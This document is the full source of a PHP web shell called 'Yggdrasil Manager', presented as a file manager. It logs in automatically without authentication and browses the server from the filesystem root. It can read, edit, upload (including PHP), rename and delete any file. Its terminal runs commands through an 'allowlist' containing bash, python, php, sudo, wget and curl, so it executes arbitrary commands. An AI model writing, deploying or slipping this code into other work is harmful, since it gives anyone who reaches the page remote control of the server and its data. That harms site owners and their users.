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<?php
session_start();

// Auto-login for now
if (!isset($_SESSION['filemgr_access'])) {
    $_SESSION['filemgr_access'] = true;
}

// Get root directory
function getRootDirectory() {
    $possibleRoots = [
        $_SERVER['DOCUMENT_ROOT'] ?? '',
        realpath(dirname(__FILE__)),
        realpath(getcwd()),
        '/',
        '/home',
        '/var/www/html'
    ];
    
    foreach ($possibleRoots as $root) {
        if ($root && is_dir($root)) {
            $realPath = realpath($root);
            if ($realPath) {
                return $realPath;
            }
        }
    }
    
    return '/';
}

$rootDir = getRootDirectory();

if (!isset($_SESSION['home_directory'])) {
    $_SESSION['home_directory'] = $rootDir;
}

$homeDir = $_SESSION['home_directory'];

function encodePath($path) {
    return str_replace(['/', '\\', '='], ['_', '-', ''], base64_encode($path));
}

function decodePath($encoded) {
    $decoded = base64_decode(str_replace(['_', '-'], ['/', '\\'], $encoded));
    return $decoded ?: '';
}

$currentDir = $homeDir;
if (isset($_GET['path']) && !empty($_GET['path'])) {
    $requestedPath = decodePath($_GET['path']);
    if ($requestedPath && is_dir($requestedPath)) {
        $realPath = realpath($requestedPath);
        if ($realPath) {
            $currentDir = $realPath;
        }
    }
}

@chdir($currentDir);

// Initialize variables
$notification = '';
$viewFileContent = '';
$viewFileName = '';
$terminalOutput = '';
$terminalCommand = '';

// Handle POST requests - FIXED VIEW FILE ACTION
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $action = $_POST['action'] ?? '';
    
    if ($action === 'terminal_command' && !empty($_POST['terminal_cmd'])) {
        $terminalCommand = $_POST['terminal_cmd'];
        $terminalOutput = executeCommand($terminalCommand, $currentDir);
    }
    // FIX: Handle view_file action
    elseif ($action === 'view_file' && !empty($_POST['view_filename'])) {
        $filePath = $currentDir . '/' . $_POST['view_filename'];
        if (file_exists($filePath) && !is_dir($filePath)) {
            $viewFileName = $_POST['view_filename'];
            $viewFileContent = @file_get_contents($filePath);
        } else {
            $notification = '❌ File not found or is a directory';
        }
    }
    // FIX: Handle save_file action
    elseif ($action === 'save_file' && !empty($_POST['edit_filename'])) {
        $filePath = $currentDir . '/' . $_POST['edit_filename'];
        if (file_exists($filePath) && is_writable($filePath)) {
            $content = $_POST['file_content'] ?? '';
            if (@file_put_contents($filePath, $content) !== false) {
                $notification = '✅ File saved successfully';
                // Clear view after saving
                $viewFileName = '';
                $viewFileContent = '';
            } else {
                $notification = '❌ Failed to save file';
            }
        }
    }
    // Handle other actions
    elseif ($action === 'upload_file') {
        if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
            $uploadedFile = $_FILES['upload_file'];
            $fileName = basename($uploadedFile['name']);
            $fileTmp = $uploadedFile['tmp_name'];
            $fileSize = $uploadedFile['size'];
            
            $maxFileSize = 100 * 1024 * 1024;
            $allowedExtensions = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'txt', 'php', 'html', 'css', 'js', 'zip', 'rar', 'sql', 'json', 'xml', 'log'];
            $fileExtension = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));
            
            if ($fileSize > $maxFileSize) {
                $notification = '❌ File too large (max 100MB)';
            } elseif (!in_array($fileExtension, $allowedExtensions)) {
                $notification = '❌ File type not allowed';
            } else {
                $destination = $currentDir . '/' . $fileName;
                
                if (@move_uploaded_file($fileTmp, $destination)) {
                    @chmod($destination, 0644);
                    $notification = '✅ File uploaded successfully';
                } else {
                    $notification = '❌ Failed to upload file';
                }
            }
        } elseif (isset($_FILES['upload_file'])) {
            $uploadError = $_FILES['upload_file']['error'];
            $errorMessages = [
                UPLOAD_ERR_INI_SIZE => 'File too large',
                UPLOAD_ERR_FORM_SIZE => 'File too large',
                UPLOAD_ERR_PARTIAL => 'Partial upload',
                UPLOAD_ERR_NO_FILE => 'No file selected',
                UPLOAD_ERR_NO_TMP_DIR => 'Temp folder missing',
                UPLOAD_ERR_CANT_WRITE => 'Cannot write',
                UPLOAD_ERR_EXTENSION => 'PHP extension stopped upload'
            ];
            $notification = '❌ ' . ($errorMessages[$uploadError] ?? 'Upload error');
        }
    }
    elseif ($action === 'new_folder' && !empty($_POST['folder_name'])) {
        $folderName = trim($_POST['folder_name']);
        $newPath = $currentDir . '/' . $folderName;
        if (!file_exists($newPath)) {
            if (@mkdir($newPath, 0755)) {
                $notification = '✅ Folder created';
            } else {
                $notification = '❌ Failed to create folder';
            }
        } else {
            $notification = '⚠️ Folder exists';
        }
    }
    elseif ($action === 'new_file' && !empty($_POST['file_name'])) {
        $fileName = trim($_POST['file_name']);
        $newPath = $currentDir . '/' . $fileName;
        if (!file_exists($newPath)) {
            $content = $_POST['file_content'] ?? '';
            if (@file_put_contents($newPath, $content) !== false) {
                $notification = '✅ File created';
            } else {
                $notification = '❌ Failed to create file';
            }
        } else {
            $notification = '⚠️ File exists';
        }
    }
    elseif ($action === 'delete' && !empty($_POST['delete_name'])) {
        $targetPath = $currentDir . '/' . $_POST['delete_name'];
        if (file_exists($targetPath)) {
            $success = is_dir($targetPath) ? deleteRecursive($targetPath) : @unlink($targetPath);
            $notification = $success ? '✅ Deleted' : '❌ Failed to delete';
        }
    }
    elseif ($action === 'rename' && !empty($_POST['old_name']) && !empty($_POST['new_name'])) {
        $oldPath = $currentDir . '/' . $_POST['old_name'];
        $newPath = $currentDir . '/' . trim($_POST['new_name']);
        if (file_exists($oldPath) && !file_exists($newPath)) {
            $notification = @rename($oldPath, $newPath) ? '✅ Renamed' : '❌ Failed to rename';
        }
    }
}

function executeCommand($command, $cwd) {
    $output = '';
    $originalCwd = getcwd();
    @chdir($cwd);
    
    $allowedCommands = [
        'ls', 'dir', 'pwd', 'whoami', 'id', 'uname', 'date',
        'cat', 'head', 'tail', 'grep', 'find',
        'du', 'df', 'free', 'ps', 'mkdir', 'rmdir',
        'touch', 'cp', 'mv', 'rm', 'chmod',
        'tar', 'gzip', 'zip', 'unzip',
        'wget', 'curl', 'ping', 'uptime', 'echo',
        'php', 'python', 'bash', 'uapi', 'sudo', 'nginx'
    ];
    
    $cmdParts = explode(' ', trim($command));
    $baseCmd = strtolower($cmdParts[0]);
    
    if (in_array($baseCmd, $allowedCommands)) {
        $descriptors = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        
        $process = proc_open($command, $descriptors, $pipes, $cwd, null);
        
        if (is_resource($process)) {
            fclose($pipes[0]);
            $stdout = stream_get_contents($pipes[1]);
            $stderr = stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($process);
            
            $output = "> $command\n";
            if (!empty($stdout)) $output .= htmlspecialchars($stdout) . "\n";
            if (!empty($stderr)) $output .= "Error: " . htmlspecialchars($stderr) . "\n";
        }
    } else {
        $output = "Command not allowed: $baseCmd\n";
    }
    
    @chdir($originalCwd);
    return $output;
}

function deleteRecursive($dir) {
    if (!is_dir($dir)) return @unlink($dir);
    $items = array_diff(scandir($dir), ['.', '..']);
    foreach ($items as $item) {
        $itemPath = $dir . '/' . $item;
        is_dir($itemPath) ? deleteRecursive($itemPath) : @unlink($itemPath);
    }
    return @rmdir($dir);
}

function formatSize($bytes) {
    if ($bytes <= 0) return "0 B";
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = floor(log($bytes, 1024));
    return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}

$items = @scandir($currentDir) ?: [];
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Yggdrasil Manager</title>
    <link rel="shortcut icon" href="https://ga-sor-tumbuk.sgp1.digitaloceanspaces.com/yggdrasill.png" type="image/x-icon">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Segoe UI', sans-serif;
        }
        
        body {
            background: #1a1a2e;
            color: #e0e0e0;
            min-height: 100vh;
            padding: 10px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
        }
        
        /* Header */
        .header {
            background: #16213e;
            padding: 12px;
            margin-bottom: 10px;
            border-radius: 6px;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .header h1 {
            font-size: 18px;
            color: #4cc9f0;
        }
        
        /* Terminal */
        .terminal {
            background: #0f3460;
            padding: 12px;
            margin-bottom: 10px;
            border-radius: 6px;
        }
        
        .terminal-title {
            display: flex;
            align-items: center;
            gap: 8px;
            margin-bottom: 10px;
            color: #4cc9f0;
            font-size: 14px;
        }
        
        .terminal-output {
            background: #000;
            padding: 8px;
            margin-bottom: 8px;
            font-family: monospace;
            font-size: 12px;
            color: #00ff00;
            min-height: 80px;
            max-height: 200px;
            overflow-y: auto;
            border-radius: 4px;
            white-space: pre-wrap;
        }
        
        .terminal-form {
            display: flex;
            gap: 8px;
        }
        
        .terminal-input {
            flex: 1;
            padding: 6px 10px;
            background: rgba(255, 255, 255, 0.1);
            border: 1px solid #2d4059;
            border-radius: 4px;
            color: #fff;
            font-family: monospace;
        }
        
        .terminal-input:focus {
            outline: none;
            border-color: #4cc9f0;
        }
        
        .quick-cmds {
            display: flex;
            flex-wrap: wrap;
            gap: 6px;
            margin-top: 8px;
        }
        
        .cmd-btn {
            padding: 4px 8px;
            background: rgba(76, 201, 240, 0.1);
            border: 1px solid rgba(76, 201, 240, 0.3);
            border-radius: 3px;
            color: #4cc9f0;
            font-size: 11px;
            cursor: pointer;
            font-family: monospace;
        }
        
        .cmd-btn:hover {
            background: #4cc9f0;
            color: #000;
        }
        
        /* Upload Section - SIMPLIFIED */
        .upload-section {
            background: #16213e;
            padding: 12px;
            margin-bottom: 10px;
            border-radius: 6px;
        }
        
        .upload-title {
            display: flex;
            align-items: center;
            gap: 8px;
            margin-bottom: 10px;
            color: #4cc9f0;
            font-size: 14px;
        }
        
        .upload-box {
            border: 2px dashed #2d4059;
            padding: 15px;
            text-align: center;
            border-radius: 4px;
            transition: all 0.3s;
        }
        
        .upload-box:hover {
            border-color: #4cc9f0;
            background: rgba(76, 201, 240, 0.05);
        }
        
        .upload-box input[type="file"] {
            width: 100%;
            margin: 10px 0;
        }
        
        /* File Manager */
        .file-manager {
            background: #16213e;
            padding: 12px;
            border-radius: 6px;
            margin-top: 10px;
        }
        
        .file-header {
            display: flex;
            justify-content: space-between;
            margin-bottom: 10px;
            color: #4cc9f0;
            font-size: 14px;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            font-size: 12px;
        }
        
        .file-table th {
            padding: 8px;
            text-align: left;
            border-bottom: 1px solid #2d4059;
            color: #888;
        }
        
        .file-table td {
            padding: 8px;
            border-bottom: 1px solid #2d4059;
        }
        
        .file-table tr:hover {
            background: rgba(255, 255, 255, 0.05);
        }
        
        .file-link {
            color: #e0e0e0;
            text-decoration: none;
        }
        
        .file-link:hover {
            color: #4cc9f0;
        }
        
        .file-actions {
            display: flex;
            gap: 4px;
        }
        
        .action-btn {
            padding: 3px 6px;
            font-size: 11px;
            border: none;
            border-radius: 3px;
            cursor: pointer;
        }
        
        .view-btn { background: rgba(76, 201, 240, 0.2); color: #4cc9f0; }
        .edit-btn { background: rgba(245, 158, 11, 0.2); color: #f59e0b; }
        .delete-btn { background: rgba(239, 68, 68, 0.2); color: #ef4444; }
        
        /* Modal Editor - SIMPLIFIED */
        .modal {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 0, 0, 0.8);
            display: none;
            align-items: center;
            justify-content: center;
            padding: 20px;
            z-index: 1000;
        }
        
        .modal.show {
            display: flex;
        }
        
        .modal-content {
            background: #16213e;
            border-radius: 8px;
            width: 90%;
            max-width: 800px;
            max-height: 80vh;
            overflow: hidden;
        }
        
        .modal-header {
            padding: 15px;
            background: #0f3460;
            display: flex;
            justify-content: space-between;
            align-items: center;
            border-bottom: 1px solid #2d4059;
        }
        
        .modal-title {
            color: #4cc9f0;
            font-size: 16px;
        }
        
        .modal-close {
            background: none;
            border: none;
            color: #ef4444;
            font-size: 18px;
            cursor: pointer;
        }
        
        .modal-body {
            padding: 15px;
            max-height: 60vh;
            overflow-y: auto;
        }
        
        .editor-textarea {
            width: 100%;
            min-height: 400px;
            padding: 10px;
            background: #0d1117;
            border: 1px solid #2d4059;
            border-radius: 4px;
            color: #c9d1d9;
            font-family: monospace;
            font-size: 13px;
            resize: vertical;
        }
        
        .modal-footer {
            padding: 15px;
            background: #0f3460;
            border-top: 1px solid #2d4059;
            text-align: right;
        }
        
        /* Buttons */
        .btn {
            padding: 6px 12px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 12px;
            font-weight: 500;
        }
        
        .btn-primary {
            background: #4cc9f0;
            color: #000;
        }
        
        .btn-success {
            background: #10b981;
            color: white;
        }
        
        .btn-danger {
            background: #ef4444;
            color: white;
        }
        
        /* Notification */
        .notification {
            position: fixed;
            top: 10px;
            right: 10px;
            background: #16213e;
            border-left: 4px solid #10b981;
            padding: 10px;
            border-radius: 4px;
            z-index: 1001;
            animation: slideIn 0.3s ease;
        }
        
        @keyframes slideIn {
            from { transform: translateX(100%); opacity: 0; }
            to { transform: translateY(0); opacity: 1; }
        }
        
        /* Quick Actions */
        .quick-actions {
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
            margin-top: 10px;
        }
        
        .action-item {
            padding: 8px 12px;
            background: rgba(76, 201, 240, 0.1);
            border: 1px solid rgba(76, 201, 240, 0.3);
            border-radius: 4px;
            color: #4cc9f0;
            cursor: pointer;
            font-size: 12px;
        }
        
        .action-item:hover {
            background: #4cc9f0;
            color: #000;
        }
        
        /* Responsive */
        @media (max-width: 768px) {
            .header {
                flex-direction: column;
                text-align: center;
                gap: 8px;
            }
            
            .file-table {
                font-size: 11px;
            }
            
            .quick-cmds {
                overflow-x: auto;
                flex-wrap: nowrap;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <!-- Header -->
        <div class="header">
            <h1><i class="fas fa-folder"></i> Yggdrasil Manager</h1>
            <div>
                <a href="?path=<?php echo encodePath($homeDir); ?>" class="btn btn-primary">
                    <i class="fas fa-home"></i> Home
                </a>
            </div>
        </div>

        <!-- Terminal -->
        <div class="terminal">
            <div class="terminal-title">
                <i class="fas fa-terminal"></i>
                <span>Terminal</span>
            </div>
            
            <div class="terminal-output">
                <?php if ($terminalOutput): ?>
                <?php echo nl2br(htmlspecialchars($terminalOutput)); ?>
                <?php else: ?>
                <?php endif; ?>
            </div>
            
            <form method="post" class="terminal-form">
                <input type="hidden" name="action" value="terminal_command">
                <input type="text" name="terminal_cmd" id="terminal-input" class="terminal-input" 
                       placeholder="Type command..." required
                       value="<?php echo htmlspecialchars($terminalCommand); ?>">
                <button type="submit" class="btn btn-primary">Run</button>
            </form>
            
            <div class="quick-cmds">
                <button class="cmd-btn" onclick="insertCommand('ls -la')">ls -la</button>
                <button class="cmd-btn" onclick="insertCommand('pwd')">pwd</button>
                <button class="cmd-btn" onclick="insertCommand('whoami')">whoami</button>
                <button class="cmd-btn" onclick="insertCommand('df -h')">df -h</button>
                <button class="cmd-btn" onclick="insertCommand('ps aux')">ps aux</button>
                <button class="cmd-btn" onclick="insertCommand('cat')">cat</button>
            </div>
        </div>

        <!-- Upload Section - SIMPLIFIED -->
        <div class="upload-section">
            <div class="upload-title">
                <i class="fas fa-upload"></i>
                <span>Upload File</span>
            </div>
            
            <form method="post" enctype="multipart/form-data" class="upload-box">
                <input type="hidden" name="action" value="upload_file">
                <input type="file" name="upload_file" required>
                <button type="submit" class="btn btn-primary" style="margin-top: 10px;">
                    <i class="fas fa-upload"></i> Upload
                </button>
            </form>
        </div>

        <!-- Quick Actions -->
        <div class="quick-actions">
            <div class="action-item" onclick="newFolder()">
                <i class="fas fa-folder-plus"></i> New Folder
            </div>
            <div class="action-item" onclick="newFile()">
                <i class="fas fa-file-plus"></i> New File
            </div>
            <a href="?path=<?php echo encodePath(dirname($currentDir)); ?>" class="action-item">
                <i class="fas fa-level-up-alt"></i> Parent Dir
            </a>
            <div class="action-item" onclick="location.reload()">
                <i class="fas fa-sync-alt"></i> Refresh
            </div>
        </div>

        <!-- File Manager -->
        <div class="file-manager">
            <div class="file-header">
                <div>
                    <i class="fas fa-folder-open"></i>
                    <?php echo htmlspecialchars($currentDir); ?>
                </div>
                <div style="color: #888;">
                    <?php echo count($items) - 2; ?> items
                </div>
            </div>
            
            <table class="file-table">
                <thead>
                    <tr>
                        <th>Name</th>
                        <th>Size</th>
                        <th>Modified</th>
                        <th>Actions</th>
                    </tr>
                </thead>
                <tbody>
                    <?php if ($currentDir !== '/'): ?>
                    <tr>
                        <td>
                            <a href="?path=<?php echo encodePath(dirname($currentDir)); ?>" class="file-link">
                                <i class="fas fa-level-up-alt"></i> ..
                            </a>
                        </td>
                        <td>-</td>
                        <td>-</td>
                        <td>-</td>
                    </tr>
                    <?php endif; ?>

                    <?php foreach ($items as $item): ?>
                        <?php if ($item === '.' || $item === '..') continue; ?>
                        <?php
                        $itemPath = $currentDir . '/' . $item;
                        $isDir = is_dir($itemPath);
                        $size = $isDir ? '-' : formatSize(@filesize($itemPath));
                        $modified = @filemtime($itemPath) ? date('Y-m-d H:i', @filemtime($itemPath)) : '-';
                        ?>
                        <tr>
                            <td>
                                <?php if ($isDir): ?>
                                    <a href="?path=<?php echo encodePath($itemPath); ?>" class="file-link">
                                        <i class="fas fa-folder" style="color: #f59e0b;"></i>
                                        <?php echo htmlspecialchars($item); ?>
                                    </a>
                                <?php else: ?>
                                    <i class="fas fa-file" style="color: #4cc9f0;"></i>
                                    <?php echo htmlspecialchars($item); ?>
                                <?php endif; ?>
                            </td>
                            <td><?php echo $size; ?></td>
                            <td><?php echo $modified; ?></td>
                            <td>
                                <div class="file-actions">
                                    <?php if (!$isDir): ?>
                                    <button class="action-btn view-btn" onclick="viewFile('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>')">
                                        <i class="fas fa-eye"></i> View
                                    </button>
                                    <?php endif; ?>
                                    
                                    <button class="action-btn delete-btn" 
                                            onclick="confirmDelete('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>')">
                                        <i class="fas fa-trash"></i>
                                    </button>
                                    
                                    <button class="action-btn edit-btn" 
                                            onclick="renameFile('<?php echo htmlspecialchars($item, ENT_QUOTES); ?>')">
                                        <i class="fas fa-pen"></i>
                                    </button>
                                </div>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        </div>
    </div>

    <!-- Notification -->
    <?php if ($notification): ?>
    <div class="notification" id="notification">
        <?php echo $notification; ?>
        <script>
            setTimeout(() => {
                document.getElementById('notification')?.remove();
            }, 3000);
        </script>
    </div>
    <?php endif; ?>

    <!-- Modal Editor -->
    <?php if ($viewFileName && $viewFileContent !== ''): ?>
    <div class="modal show" id="fileModal">
        <div class="modal-content">
            <div class="modal-header">
                <div class="modal-title">
                    <i class="fas fa-file-code"></i> <?php echo htmlspecialchars($viewFileName); ?>
                </div>
                <button class="modal-close" onclick="closeModal()">&times;</button>
            </div>
            
            <form method="post" id="editForm">
                <input type="hidden" name="action" value="save_file">
                <input type="hidden" name="edit_filename" value="<?php echo htmlspecialchars($viewFileName); ?>">
                
                <div class="modal-body">
                    <textarea name="file_content" class="editor-textarea" 
                              id="editorTextarea"><?php echo htmlspecialchars($viewFileContent); ?></textarea>
                </div>
                
                <div class="modal-footer">
                    <button type="button" class="btn btn-danger" onclick="closeModal()">
                        <i class="fas fa-times"></i> Cancel
                    </button>
                    <button type="submit" class="btn btn-success">
                        <i class="fas fa-save"></i> Save
                    </button>
                </div>
            </form>
        </div>
    </div>
    <?php endif; ?>

    <script>
        // Insert command
        function insertCommand(cmd) {
            document.getElementById('terminal-input').value = cmd;
            document.getElementById('terminal-input').focus();
        }

        // View file - FIXED
        function viewFile(filename) {
            const form = document.createElement('form');
            form.method = 'POST';
            form.style.display = 'none';
            
            const action = document.createElement('input');
            action.type = 'hidden';
            action.name = 'action';
            action.value = 'view_file';
            
            const nameInput = document.createElement('input');
            nameInput.type = 'hidden';
            nameInput.name = 'view_filename';
            nameInput.value = filename;
            
            form.appendChild(action);
            form.appendChild(nameInput);
            document.body.appendChild(form);
            form.submit();
        }

        // Close modal
        function closeModal() {
            const modal = document.getElementById('fileModal');
            if (modal) {
                modal.style.display = 'none';
                // Remove view parameters by reloading page without them
                window.location.href = window.location.pathname + window.location.search;
            }
        }

        // File operations
        function confirmDelete(filename) {
            if (confirm(`Delete "${filename}"?`)) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.style.display = 'none';
                
                const action = document.createElement('input');
                action.type = 'hidden';
                action.name = 'action';
                action.value = 'delete';
                
                const nameInput = document.createElement('input');
                nameInput.type = 'hidden';
                nameInput.name = 'delete_name';
                nameInput.value = filename;
                
                form.appendChild(action);
                form.appendChild(nameInput);
                document.body.appendChild(form);
                form.submit();
            }
        }

        function renameFile(filename) {
            const newName = prompt(`Rename "${filename}" to:`, filename);
            if (newName && newName !== filename) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.style.display = 'none';
                
                const action = document.createElement('input');
                action.type = 'hidden';
                action.name = 'action';
                action.value = 'rename';
                
                const oldInput = document.createElement('input');
                oldInput.type = 'hidden';
                oldInput.name = 'old_name';
                oldInput.value = filename;
                
                const newInput = document.createElement('input');
                newInput.type = 'hidden';
                newInput.name = 'new_name';
                newInput.value = newName;
                
                form.appendChild(action);
                form.appendChild(oldInput);
                form.appendChild(newInput);
                document.body.appendChild(form);
                form.submit();
            }
        }

        function newFolder() {
            const folderName = prompt('New folder name:');
            if (folderName) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.style.display = 'none';
                
                const action = document.createElement('input');
                action.type = 'hidden';
                action.name = 'action';
                action.value = 'new_folder';
                
                const nameInput = document.createElement('input');
                nameInput.type = 'hidden';
                nameInput.name = 'folder_name';
                nameInput.value = folderName;
                
                form.appendChild(action);
                form.appendChild(nameInput);
                document.body.appendChild(form);
                form.submit();
            }
        }

        function newFile() {
            const fileName = prompt('New file name:');
            if (fileName) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.style.display = 'none';
                
                const action = document.createElement('input');
                action.type = 'hidden';
                action.name = 'action';
                action.value = 'new_file';
                
                const nameInput = document.createElement('input');
                nameInput.type = 'hidden';
                nameInput.name = 'file_name';
                nameInput.value = fileName;
                
                form.appendChild(action);
                form.appendChild(nameInput);
                document.body.appendChild(form);
                form.submit();
            }
        }

        // Auto-focus terminal
        document.addEventListener('DOMContentLoaded', () => {
            const terminalInput = document.getElementById('terminal-input');
            if (terminalInput && !document.querySelector('.modal.show')) {
                terminalInput.focus();
            }
            
            // Auto-focus textarea in modal
            const textarea = document.getElementById('editorTextarea');
            if (textarea) {
                textarea.focus();
                textarea.selectionStart = textarea.selectionEnd = textarea.value.length;
            }
            
            // Close modal with Escape
            document.addEventListener('keydown', (e) => {
                if (e.key === 'Escape') {
                    closeModal();
                }
            });
        });
    </script>
</body>
</html>